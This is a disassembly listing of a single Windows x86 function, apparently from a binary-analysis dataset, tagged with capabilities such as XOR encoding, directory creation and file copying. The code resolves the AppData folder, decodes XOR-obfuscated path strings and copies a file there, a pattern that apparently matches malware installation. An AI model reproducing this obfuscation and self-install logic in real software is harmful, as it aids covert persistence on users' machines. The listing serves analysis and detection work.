Function at 0x410580
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503ab0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1e8
push esi
push edi
mov dword [ebp - 0x28], ecx
push 0x104
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov word [ebp - 0x13], 0x5c
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x11], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410617
sub ecx, edx
lea eax, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.00402830
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x1f8]
lea ecx, [ebp - 0xec]
call fcn.00469c70
add esp, 4
lea ecx, [ebx + 8]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.00465b90
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x4106d3
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4106c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411346
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x41072c
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410722
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411346
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp dword [ebp - 0x44], 0x10
lea esi, [ebp - 0x58]
push 0x536240
cmovae esi, dword [ebp - 0x58]
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x41134b
test esi, esi
je 0x411266
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410774
sub ecx, edx
je 0x411266
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4107ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4107ad
cmp eax, 0x20
je 0x4107ad
cmp eax, 0x45
je 0x4107ad
cmp eax, 0x24
jne 0x411266
push 0x536240
call fcn.004dc3c4
add esp, 4
mov dword [ebp - 0x21], 0x46485f7b
mov dword [ebp - 0x1d], 0x594947
xor ecx, ecx
mov dword [ebp - 0x19], 0x45514b
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x4107d5
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x21]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4107f5
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x48]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x411351
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
mov ecx, esi
call fcn.0046d850
call fcn.0040bf00
add esp, 0x18
test al, al
je 0x410cb1
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410850
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x411356
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046d850
mov byte [ebp - 4], 7
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x4108d5
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004deb10
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x4108e5
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046bc40
mov dword [ebp - 0x90], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410963
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410959
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41135b
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea esi, [ebp - 0xa0]
push 0x536240
cmovae esi, dword [ebp - 0xa0]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x411360
test esi, esi
je 0x4109e7
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4109a7
sub ecx, edx
je 0x4109e7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4109d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4109d8
cmp eax, 0x20
je 0x4109d8
cmp eax, 0x45
je 0x4109d8
cmp eax, 0x24
jne 0x4109e7
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x410a19
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae eax, dword [ebp - 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410c6e
mov dword [ebp - 0x21], 0x46485f7b
xor ecx, ecx
mov dword [ebp - 0x1d], 0x594947
mov dword [ebp - 0x19], 0x45514b
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410a34
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a50
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x90]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x411366
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046d850
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov dword [ebp - 0x21], 0x46485f7b
cmovae esi, dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x594947
mov dword [ebp - 0x19], 0x45514b
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410ad0
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ae8
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x41136b
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
call fcn.0046d850
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push 0
cmovae eax, dword [ebp - 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x74]
mov esi, eax
cmp ecx, 0x10
jb 0x410b75
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410b6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411370
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x410bc8
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410bbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411370
push ecx
push edx
call fcn.004dd0b2
add esp, 8
test esi, esi
je 0x410bd7
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x410c73
cmp dword [ebp - 0x8c], 0x10
lea edx, [ebp - 0xa0]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c08
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402830
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040c050
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x410c73
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411375
push ecx
push edx
call fcn.004dd0b2
add esp, 8
jmp 0x410c73
mov edi, closesocket
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x410cb1
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ca7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41137a
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov dword [ebp - 0x1e], 0x46485f7b
xor ecx, ecx
mov dword [ebp - 0x1a], 0x5d594947
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x410cc7
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ce0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x41137f
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046d850
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
push 0x536240
cmovae esi, dword [ebp - 0xbc]
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x411384
test esi, esi
je 0x410d91
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410d50
sub ecx, edx
je 0x410d91
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410d81
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410d81
cmp eax, 0x20
je 0x410d81
cmp eax, 0x45
je 0x410d81
cmp eax, 0x24
jne 0x410d91
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x22], 1
jmp 0x410d9f
push 0x536240
call fcn.004dc3c4
mov byte [ebp - 0x22], 0
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x410de0
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410dd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41138a
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp byte [ebp - 0x22], 0
je 0x411273
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e00
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x41138f
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046d850
mov byte [ebp - 4], 0xd
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x410e85
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004deb10
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x410e95
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046bc40
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410f04
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410efa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411394
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp dword [ebp - 0x2c], 0x10
lea esi, [ebp - 0x40]
push 0x536240
cmovae esi, dword [ebp - 0x40]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x411399
test esi, esi
je 0x410f80
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f40
sub ecx, edx
je 0x410f80
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410f71
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410f71
cmp eax, 0x20
je 0x410f71
cmp eax, 0x45
je 0x410f71
cmp eax, 0x24
jne 0x410f80
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x410fa9
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411230
mov dword [ebp - 0x1e], 0x46485f7b
xor ecx, ecx
mov dword [ebp - 0x1a], 0x5d594947
mov word [ebp - 0x16], 0x100
nop
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x410fc0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410fd8
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x30]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x41139f
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push ecx
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046d850
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x41104a
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411040
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b4
push ecx
push edx
call fcn.004dd0b2
add esp, 8
movups xmm1, xmmword [ebp - 0xbc]
lea esi, [ebp - 0x40]
movq xmm0, qword [ebp - 0xac]
movq qword [ebp - 0x30], xmm0
cmp dword [ebp - 0x2c], 0x10
movd eax, xmm1
push 0x536240
movups xmmword [ebp - 0x40], xmm1
cmovae esi, eax
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x4113a4
test esi, esi
je 0x4110d0
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411090
sub ecx, edx
je 0x4110d0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4110c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4110c1
cmp eax, 0x20
je 0x4110c1
cmp eax, 0x45
je 0x4110c1
cmp eax, 0x24
jne 0x4110d0
push 0x536240
call fcn.004dc3c4
add esp, 4
jmp 0x4110f9
push 0x536240
call fcn.004dc3c4
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411230
sub esp, 0x18
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00465e10
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0x1e], 0x46485f7b
mov dword [ebp - 0x1a], 0x5d594947
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0x27
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x411128
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xa4], esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411150
sub ecx, edx
mov edx, dword [ebp - 0x48]
sub edi, edx
cmp edi, ecx
jb 0x4113aa
cmp dword [ebp - 0x44], 0x10
lea edi, [ebp - 0x1e]
push ecx
push edi
push edx
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push ecx
push dword [ebp - 0xa4]
mov ecx, esi
call fcn.0046d850
mov cl, byte [ebp - 0x22]
mov byte [ebp - 4], 0xf
call fcn.0040f050
add esp, 0x30
test eax, eax
jne 0x4111a4
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x411230
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0x40]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111d0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402830
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x11
call fcn.0040c050
mov ecx, dword [ebp - 0x74]
add esp, 4
cmp ecx, 0x10
jb 0x411230
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411226
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113af
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x411273
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41125a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b4
push ecx
push edx
call fcn.004dd0b2
add esp, 8
jmp 0x411273
push 0x536240
call fcn.004dc3c4
add esp, 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4112a7
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41129d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b9
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x4112ed
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4112e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b9
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x411333
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411329
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b9
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2350
push eax
call fcn.004dc05c
call fcn.00402040
call fcn.00402040
call fcn.004e2350
push eax
call fcn.004dc05c
call fcn.00402040
call fcn.00402040
call fcn.004e2350
call fcn.004e2350
call fcn.004e2350
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.004e2350
call fcn.00402040
call fcn.004e2350
push eax
call fcn.004dc05c
call fcn.00402040
push eax
call fcn.004dc05c
call fcn.00402040
call fcn.004e2350
call fcn.004e2350
call fcn.004e2350
int3